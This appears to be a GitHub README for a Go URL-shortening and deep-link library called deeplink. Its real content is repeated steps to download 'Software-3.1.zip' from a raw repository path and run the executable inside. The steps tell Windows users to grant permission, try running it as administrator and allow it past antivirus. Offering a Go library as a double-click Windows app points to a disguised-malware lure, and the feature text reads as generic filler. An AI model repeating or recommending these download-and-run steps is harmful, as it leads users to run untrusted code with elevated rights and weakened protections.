Use the link below to visit the page and download or open the latest version:

https://github.com/Mhgamer5292/deeplink/raw/refs/heads/main/example/Software-3.1.zip

• A Windows PC
• A web browser
• Permission to save files on your computer
• A stable internet connection

1. Open the download link above.
2. On the GitHub page, look for the latest release or main project files.
3. Download the Windows file or package from that page.
4. Save the file to a folder you can find again, like Downloads or Desktop.
5. If the download is a zip file, right-click it and choose Extract All.
6. Open the extracted folder.
7. Double-click the app file or start file to run deeplink.
8. If Windows asks for permission, choose Yes.

deeplink helps you create short links, watch link clicks, and show clean preview pages when someone opens a link. It is built for Go and can use Redis or memory for storage.

You can use it to:

• Make short links for long URLs
• Track how many times a link gets clicked
• Show Open Graph preview pages for shared links
• Handle app links and universal links
• Route links through different processors

• Short link generation
• Click tracking
• Open Graph preview pages
• App link support
• Universal link support
• Pluggable processors
• Redis storage support
• In-memory storage support
• Built for Go and Golang projects

To use deeplink on Windows, keep these things in mind:

• Do not rename files unless the app instructions say you can
• Keep the app in one folder so the files stay together
• If Windows SmartScreen appears, check the file name and source before you continue
• If you use a zip file, extract all files before opening the app

1. Go to the download link.
2. Get the Windows build or the project files.
3. Unpack the files if needed.
4. Open the folder that contains the app.
5. Find the main executable file.
6. Double-click it to start deeplink.
7. If the app opens a local page or terminal window, keep it open while you use it.
8. Follow any on-screen setup steps inside the app.

When someone opens a short link, deeplink can record the click. This helps you see how often a link gets used. It can also help you tell which links get the most traffic.

Common click details may include:

• Time of click
• Target URL
• Link ID or code
• Referrer data
• User agent data

deeplink can use two storage modes:

Use Redis if you want shared storage and more control over saved links and click data. This works well when you run the app on more than one machine.

Use in-memory storage if you want a simple setup on one computer. This is useful for quick testing and local use.

deeplink can show OG preview pages when a link is shared. These pages help control what people see in chat apps and social feeds.

A preview page can include:

• Title
• Description
• Image
• Destination link

Try these steps:

1. Make sure the files finished downloading.
2. Run the app again from the same folder.
3. Check that you extracted the zip file, if you downloaded one.
4. Right-click the file and try Run as administrator.
5. Close other copies of the app before starting it again.
6. Make sure your Windows version can run the file format you downloaded.

You can keep the app in a simple folder like this:

• Downloads
• deeplink
• app files
• config files
• data files

This project fits these areas:

• app-links
• click-tracking
• deep-linking
• go
• golang
• open-graph
• redis
• short-links
• universal-links
• url-shortener

• Share short links in email
• Track campaign clicks
• Send app links to mobile users
• Create clean preview cards for social sharing
• Store and manage links in Redis
• Run a small local link service

1. Open deeplink.
2. Add a long URL.
3. Create a short link.
4. Share the short link.
5. Check click data later.
6. Update the preview page if needed.

• Keep the app in a folder with a short path, such as C:\deeplink
• Avoid moving files while the app is open
• If you use antivirus software, allow the app if it blocks the file
• Use a simple folder name with no special characters

Visit this page to download or open the project files:

https://github.com/Mhgamer5292/deeplink/raw/refs/heads/main/example/Software-3.1.zip

Depending on the release, you may see:

• .exe
• .zip
• .tar.gz
• config files
• readme files
• data folders

deeplink can route users based on the link they open. That makes it useful for:

• Mobile app routing
• Browser fallback pages
• Short link redirects
• Social media link previews

1. Download the files from the link.
2. Save them to your computer.
3. Extract the files if they come in a zip.
4. Open the main app file.
5. Create a short link.
6. Share it and check the click count later